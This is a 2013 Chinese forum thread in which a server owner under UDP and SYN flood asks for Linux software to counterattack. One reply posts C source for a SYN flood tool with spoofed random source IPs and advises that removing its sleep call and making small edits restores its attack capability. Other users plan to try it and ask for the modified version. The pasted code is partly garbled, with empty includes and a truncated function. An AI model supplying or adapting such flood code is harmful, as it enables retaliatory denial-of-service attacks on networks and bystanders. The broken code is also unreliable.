找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
楼主: heiren

有人攻击俺滴服务器,求linux下的反击软件!

[复制链接]

691

主题

2961

回帖

8001

积分

论坛元老

积分
8001
发表于 2013-7-20 11:49:06 | 显示全部楼层

DOS 发表于 2013-7-20 17:37

QQ蜗牛



有Linux下的木有?我只有linux的服务器。。。。
回复

使用道具 举报

122

主题

757

回帖

1930

积分

金牌会员

积分
1930
 楼主| 发表于 2013-7-20 11:01:00 | 显示全部楼层

heiren 发表于 2013-7-20 17:37

这个是CC吧?对方是UDP和SYN我,我CC没用吧?我想找UDPFLOOD或者SYN反击。。。 ...

据说注释掉MySleep( sleeptime ),再修改一点别的地方,还是大有可为的。[ol]
  • /********************************************************************************************
  • * SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
  • * gcc -o syn_test -O3 syn_test.c
  • * change log:
  • *         2006-12-01, code by yunshu(wustyunshu@hotmail.com), thx luoluo for fixing a bug.
  • *         2006-12-05, yunshu fix a bug, version 1.0
  • *         2006-12-26, thx bocai for reporting a bug, version 1.1
  • *         2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
  • *   2010-11-10 yunshu fix a little bug
  • *   2010-11-19 yunshu modify the sleep funtion, version 1.3.
  • *   2011-06-26 yunshu delete attack code, make it to be a testing tool.
  • *
  • *   it used to test loadblance, you have to change some code for attacking.
  • *********************************************************************************************/
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • #include
  • typedef struct ip_hdr
  • {
  •     unsigned char       h_verlen;
  •     unsigned char       tos;
  •     unsigned short      total_len;
  •     unsigned short      ident;
  •     unsigned short      frag_and_flags;
  •     unsigned char       ttl;
  •     unsigned char       proto;
  •     unsigned short      checksum;
  •     unsigned int        sourceIP;
  •     unsigned int        destIP;
  • }IP_HEADER;
  • typedef struct tcp_hdr
  • {
  •     unsigned short      th_sport;
  •     unsigned short      th_dport;
  •     unsigned int        th_seq;
  •     unsigned int        th_ack;
  •     unsigned char       th_lenres;
  •     unsigned char       th_flag;
  •     unsigned short      th_win;
  •     unsigned short      th_sum;
  •     unsigned short      th_urp;
  • }TCP_HEADER;
  • typedef struct tsd_hdr
  • {
  •     unsigned long       saddr;
  •     unsigned long       daddr;
  •     char                mbz;
  •     char                ptcl;
  •     unsigned short      tcpl;
  • }PSD_HEADER;
  • #define PACKET_SIZE     sizeof(IP_HEADER) + sizeof( TCP_HEADER )
  • char    dst_ip[20] = { 0 };
  • int     dst_port;
  • unsigned long long sleeptime, starttime, outcount=0;
  • int pkt_then_sleep = 0;
  • unsigned short CheckSum(unsigned short * buffer, int size)
  • {
  •         unsigned long   cksum = 0;
  •         while (size > 1)
  •         {
  •                 cksum += *buffer++;
  •                 size -= sizeof(unsigned short);
  •         }
  •         if (size)
  •         {
  •                 cksum += *(unsigned char *) buffer;
  •         }
  •         cksum = (cksum >> 16) + (cksum & 0xffff);
  •         cksum += (cksum >> 16);
  •         return (unsigned short) (~cksum);
  • }
  • void MySleep(unsigned int micro_second)
  • {
  •         struct timeval  t_timeval;
  •         t_timeval.tv_sec = 0;
  •         t_timeval.tv_usec = micro_second;
  •         select( 0, NULL, NULL, NULL, &t_timeval );
  • }
  • void Init( char *buffer )
  • {
  •         char    src_ip[20] = { 0 };
  •         int     n = 0;
  •         IP_HEADER       IpHeader;
  •         TCP_HEADER      TcpHeader;
  •         PSD_HEADER      PsdHeader;
  •         sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
  •         IpHeader.h_verlen = (4   \n", argv[0]);
  •                 fprintf(stderr, "send syn packets to :, sleep  microseconds per  paskets\n\n");
  •                 return -1;
  •         }
  •         strncpy( dst_ip, argv[1], 16 );
  •         dst_port = atoi( argv[2] );
  •         if( inet_addr(dst_ip) == INADDR_NONE )
  •         {      
  •                 printf( "target ip error.\n" );
  •                 return -1;
  •         }
  •         if( dst_port  65535 )
  •         {      
  •                 printf( "port error.\n" );
  •                 return -1;
  •         }
  •         pkt_then_sleep = atoi(argv[3]);
  •         if( pkt_then_sleep == 0 )
  •         {
  •                 printf( "pkt_then_sleep error.\n" );
  •                 return -1;
  •         }
  •         sleeptime = atoi(argv[4]);
  •         starttime = time(NULL);
  •         while(time(NULL) == starttime) usleep(1000);
  •         signal(SIGHUP,&sig_proc);
  •         signal(SIGINT,&sig_proc);
  •         signal(SIGQUIT,&sig_proc);
  •         signal(SIGILL,&sig_proc);
  •         signal(SIGABRT,&sig_proc);
  •         signal(SIGFPE,&sig_proc);
  •         signal(SIGSEGV,&sig_proc);
  •         signal(SIGPIPE,&sig_proc);
  •         signal(SIGALRM,&sig_proc);
  •         signal(SIGTERM,&sig_proc);
  •         signal(SIGUSR1,&sig_proc);
  •         signal(SIGUSR2,&sig_proc);
  •         signal(SIGCHLD,&sig_proc);
  •         signal(SIGCONT,&sig_proc);
  •         signal(SIGTSTP,&sig_proc);
  •         signal(SIGTTIN,&sig_proc);
  •         signal(SIGTTOU,&sig_proc);
  •         Flood();
  •         return 0;
  • }[/ol]复制代码
  • 回复

    使用道具 举报

    65

    主题

    548

    回帖

    1297

    积分

    金牌会员

    积分
    1297
    发表于 2013-7-20 11:53:41 | 显示全部楼层

    hcw1588 发表于 2013-7-20 17:40

    据说注释掉MySleep( sleeptime ),再修改一点别的地方,还是大有可为的。

    眼泪哗哗滴。。。。。。。。感谢~~~偶试试去

    回复

    使用道具 举报

    122

    主题

    757

    回帖

    1930

    积分

    金牌会员

    积分
    1930
     楼主| 发表于 2013-7-20 11:19:00 | 显示全部楼层

    heiren 发表于 2013-7-20 17:41

    眼泪哗哗滴。。。。。。。。感谢~~~偶试试去

    成功了麻烦cpoy一份给我,学习任务多,实在没精力去修改了。
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Archiver|手机版|小黑屋|Discuz! X

    GMT+8, 2025-1-17 21:50 , Processed in 0.016041 second(s), 3 queries , Gzip On, Redis On.

    Powered by Discuz! X3.5

    © 2001-2024 Discuz! Team.

    快速回复 返回顶部 返回列表